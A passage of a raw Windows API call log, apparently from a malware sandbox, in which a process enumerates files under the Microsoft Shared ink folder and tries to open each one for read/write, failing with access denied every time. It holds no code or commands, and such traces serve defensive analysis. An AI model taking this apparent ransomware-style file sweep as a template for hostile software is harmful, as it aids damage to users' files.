Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.776] GetLastError () returned 0x5 [0168.776] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0168.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.777] GetLastError () returned 0x5 [0168.777] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0168.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.777] GetLastError () returned 0x5 [0168.777] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0168.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.777] GetLastError () returned 0x5 [0168.778] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0168.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.778] GetLastError () returned 0x5 [0168.778] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0168.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.779] GetLastError () returned 0x5 [0168.779] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0168.779] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0168.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.779] GetLastError () returned 0x5 [0168.779] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0168.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.779] GetLastError () returned 0x5 [0168.779] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0168.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.780] GetLastError () returned 0x5 [0168.780] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0168.780] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0168.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.780] GetLastError () returned 0x5 [0168.780] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0168.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.780] GetLastError () returned 0x5 [0168.781] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0168.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.781] GetLastError () returned 0x5 [0168.781] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0168.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.781] GetLastError () returned 0x5 [0168.781] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0168.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.782] GetLastError () returned 0x5 [0168.782] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0168.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.782] GetLastError () returned 0x5 [0168.782] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0168.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.782] GetLastError () returned 0x5 [0168.782] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0168.782] GetProcessHeap () returned 0x2ef0000 [0168.782] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.783] GetProcessHeap () returned 0x2ef0000 [0168.783] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.783] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.783] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.783] GetProcessHeap () returned 0x2ef0000 [0168.783] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.784] GetLastError () returned 0x5 [0168.784] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.784] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.784] GetProcessHeap () returned 0x2ef0000 [0168.784] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.784] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0168.784] GetProcessHeap () returned 0x2ef0000 [0168.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.784] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.785] GetProcessHeap () returned 0x2ef0000 [0168.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.785] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.785] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.785] GetProcessHeap () returned 0x2ef0000 [0168.785] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.785] GetLastError () returned 0x5 [0168.785] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.785] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.785] GetProcessHeap () returned 0x2ef0000 [0168.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.785] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0168.785] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0168.785] GetProcessHeap () returned 0x2ef0000 [0168.785] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.786] GetProcessHeap () returned 0x2ef0000 [0168.786] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.786] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.786] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, 